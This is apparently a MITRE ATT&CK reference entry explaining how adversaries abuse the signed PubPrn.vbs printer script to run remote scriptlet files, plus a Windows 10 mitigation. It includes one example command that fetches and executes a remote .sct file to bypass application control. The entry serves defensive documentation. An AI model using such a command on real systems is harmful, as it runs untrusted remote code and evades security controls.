T1216.001

Description

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services.

The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site.

An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).